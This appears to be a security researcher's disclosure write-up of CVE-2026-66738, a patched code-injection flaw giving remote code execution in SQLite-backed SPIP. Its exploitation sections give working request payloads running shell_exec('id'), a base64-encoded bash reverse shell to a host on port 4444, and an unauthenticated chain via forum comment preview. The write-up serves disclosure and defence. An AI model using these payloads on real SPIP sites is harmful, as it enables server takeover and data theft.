Recherche

Remote code execution in SPIP (SQLite) - CVE-2026-66738

An authenticated editor, and in some configurations an anonymous visitor, can run arbitrary OS commands on SPIP installations backed by SQLite.

CVSS8.8
vecteurcode injection
impactRCE
affecteSPIP
statusPatched
Remote code execution in SPIP (SQLite) - CVE-2026-66738

Context

SPIP (“Système de Publication pour l’Internet”) is a free and open-source CMS, created in 2001 by French developers and used around the world to build and maintain websites. It powers more than 10,000 French-speaking sites, including French government services, academic sites, associations, and news outlets.

SPIP is written in PHP and runs on MySQL, PostgreSQL, or SQLite. Pages are generated from a templating language of its own, based on squelettes (“skeletons”).

Shodan returns around 711,400 internet-facing services whose banner contains Composed-By: SPIP X.X.XX @ www.spip.net. The share running on SQLite is unknown.

Shodan results

Our findings

We found a code injection (CWE-94) in SPIP < 4.4.18 on SQLite-backed installations. The navigation-menu endpoint mishandles array-typed input, which slips past input sanitization and lets a value break out of a quoted string that is later evaluated as PHP.

  • An authenticated user with at least editor (rédacteur) privileges can trigger RCE with a single GET request to /ecrire/?exec=navigation.
  • On a default install, the same sink is reachable unauthenticated by abusing the forum comment preview to render a SPIP model, so the private /ecrire/ area is never touched.

The findings were tested on 4.4.16 and 5.0.0-beta GIT [master: 2536d940] with a SQLite backend. MySQL-backed installations are not affected.

Root cause

The back-office menu is drawn by a single template:

prive/squelettes/inclure/menu-navigation.html:3
<BOUCLE_menu(DATA){source table, #GET{boutons}}{cle=#ENV{menu}}>

This is a (DATA) loop over an in-memory array of menu buttons. The {cle=#ENV{menu}} criterion keeps only the row whose key equals the menu URL parameter, so /ecrire/?exec=navigation&menu=menu_edition shows the “Édition” menu.

SPIP compiles each .html template into a cached PHP function (tmp/cache/skel/html_<hash>.php). Because a (DATA) source is not a real database, the {cle=...} comparison cannot be pushed into SQL and is instead compiled into a PHP filter run against each row. During compilation the operand #ENV{menu} is wrapped by kwote(), which emits a sql_quote(<operand>, '', 'STRING') call into the generated function:

/tmp/cache/skel/html_<hash>.php:108
$command['where'] =
  array(array('=', 'cle',
    sql_quote(retablir_echappements_modeles(interdire_scripts(entites_html(
      table_valeur($Pile[0]??[], (string)'menu', null), true))), '', 'STRING')));

So the menu value flows through, in order:

  1. entites_html() : escapes &, ", ', <, > and out-of-charset characters;
  2. interdire_scripts() : neutralizes PHP/JS;
  3. sql_quote() : quotes the value for the active backend (spip_sqlite_quote() on SQLite).

For normal input the where-clause ends up as a harmless string:

$command['where'] = array(array('=', 'cle', "'menu_edition'"));

Two flaws turn this quoted string into executable PHP :

First weakness: array input bypasses sanitization

Both entites_html() and interdire_scripts() return their argument untouched when it is not a string:

ecrire/inc/filtres.php:806
function entites_html($texte, $tout = false, $quote = true) {
    if (!is_string($texte) or !$texte or strpbrk($texte, "&\"'<>") == false) {
        return $texte;
    }
    // ... escaping ...
}
ecrire/inc/texte.php:147
function interdire_scripts($arg, ?int $mode_filtre = null) {
    // "Warning, if it's not a string, it must stay intact"
    if (!$arg || !is_string($arg) || !strstr($arg, '<')) {
        return $arg;
    }
    // ... neutralizing ...
}

Submitting menu[]=... instead of menu=... makes the value an array element whose entries never get re-checked for type here, so quotes and backslashes pass through verbatim into sql_quote().

Second weakness: SQLite quoting leaves backslashes intact

On SQLite, sql_quote() reaches _sqlite_calculer_cite(), which doubles single quotes but does not escape backslashes:

ecrire/req/sqlite_generique.php:2145
return "'" . str_replace("'", "''", $v) . "'"; // only ' -> ''

That is correct for SQL, but here the output is later fed to PHP’s eval(). An input of \' becomes \'': the backslash survives, and in a PHP double-quoted-into-single context \' reads as an escape that closes the string literal, spilling the rest of the payload into code.

The eval() sink

When the compiled loop builds its iterator, the (DATA) decorator turns each where entry back into a PHP comparison, wraps the result in return ( ... ); and evaluates it once per row:

ecrire/src/Compilateur/Iterateur/Decorator.php:552
private function calculer_filtres() {
    // ...
    $filtres = 'return ' . $filtres . ';';
    $this->func_filtre = fn () => eval($filtres);
    // ...
}

With the array trick on SQLite, the raw payload \'.print(shell_exec("id")));// reaches eval() as:

return ($this->get_select('cle')=='\''.print(shell_exec("id")));//');

'\'' closes the comparison string, .print(shell_exec("id")) runs the command and prints its output into the page, and );// closes the return and comments out the trailing quote. The filter runs once per button (~9 on a stock menu), so the output repeats.

From editor to RCE

Install SPIP 4.4.16 with the bundled Dockerfile, complete setup at http://localhost:8000/ecrire/ (SQLite is the only option), and create an admin plus a redacteur.

A single backslash is enough to confirm the sink from the admin debug console : the error names eval()’d code directly:

http://localhost:8000/ecrire/?exec=navigation&menu=\
Erreur d'exécution ../prive/squelettes/inclure/menu-navigation.html
| File [...]/Compilateur/Iterateur/Decorator.php(577) : eval()'d code
  Line 1 : syntax error, unexpected string content "\');"

Backslash triggers an eval() syntax error

As the redacteur, shell_exec("id"):

http://localhost:8000/ecrire/?exec=navigation&menu[]=%5C%27.print%28shell_exec%28%22id%22%29%29%29%3B%2F%2F

shell_exec(“id”) executes

Because quotes and slashes are awkward to pass, a reverse shell is easiest base64-encoded:

echo 'bash -c "bash -i >& /dev/tcp/172.18.0.1/4444 0>&1" &' | base64 -w0
# YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzQ0NDQgMD4mMSIgJgo=
http://127.0.0.1:8000/ecrire/?exec=navigation&menu[]=\%27.print(shell_exec(%22echo%20YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTguMC4xLzQ0NDQgMD4mMSIgJgo=|base64%20-d|bash%22)))%3B%2F%2F

URL-encode + as %2B so it is not read as a space.

Reverse shell

Reaching the sink without the private area

The same bug is reachable by a low-privileged or anonymous user when two conditions hold:

  • a SQLite backend;
  • a public surface that runs attacker text through propre()/typo(), so SPIP model shortcuts such as <foreach...> are interpreted.

On a stock install, the public forum comment preview is such a surface: squelettes-dist/article.html renders #FORMULAIRE_FORUM on every article, and the default moderation setting (forums_publics = posteriori) lets anonymous visitors post. A model can be told to render any template, including the vulnerable one.

Publish an article with comments enabled, open it anonymously (.../spip.php?article3), and submit this as the comment body, then click preview:

<foreach|fond=prive/squelettes/inclure/menu-navigation|ajax>

The preview returns an ajaxbloc carrying a data-ajax-env token:

<div class="ajaxbloc" data-ajax-env="aT2VrBE/aMh6FPg...tt8J6L" data-origin="spip.php?article3&id_article=3&id_objet=3&id_forum=0">

Comment preview returns an ajax env token

Replaying that token with the menu[] payload renders the private template — and its eval() sink — from an unauthenticated request (URL-encode + as %2B):

http://localhost:8000/spip.php?var_ajax=1&var_ajax_env=<AJAX-ENV>&menu[]=\'.print(shell_exec("id")));//
HTTP/1.1 200 OK
Composed-By: SPIP 4.4.16 @ www.spip.net

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
...

Unauthenticated RCE in Burp Repeater

Each var_ajax_env token is single-use, but a fresh one is trivially generated by previewing again.

Disclosure

  • 2026-07-24: Vulnerability reported to the maintainer through VulnCheck.
  • 2026-07-27: Acknowledged; CVE-2026-66738 assigned to track it. SPIP contacted.
  • 2026-07-27: Forum-comment primitive found and shared with the maintainer.
  • 2026-08-10: SPIP 4.4.18 released, fixing the issue.

Per the 4.4.18 changelog, SPIP addressed both halves of the chain: a menu key “can only be a scalar” (killing the menu[] bypass), models are disabled in forum comment text, and the ajax filter in models was fixed. Backslash handling in _sqlite_calculer_cite() remains the deeper issue worth watching on SQLite installs.

References

Benoit Hua

Benoit Hua est expert en sécurité offensive. Passionné par la sécurité web, actif dans la communauté des hackers éthiques, il s'intéresse également à l'OSINT et aux environnements Active Directory.

Keep reading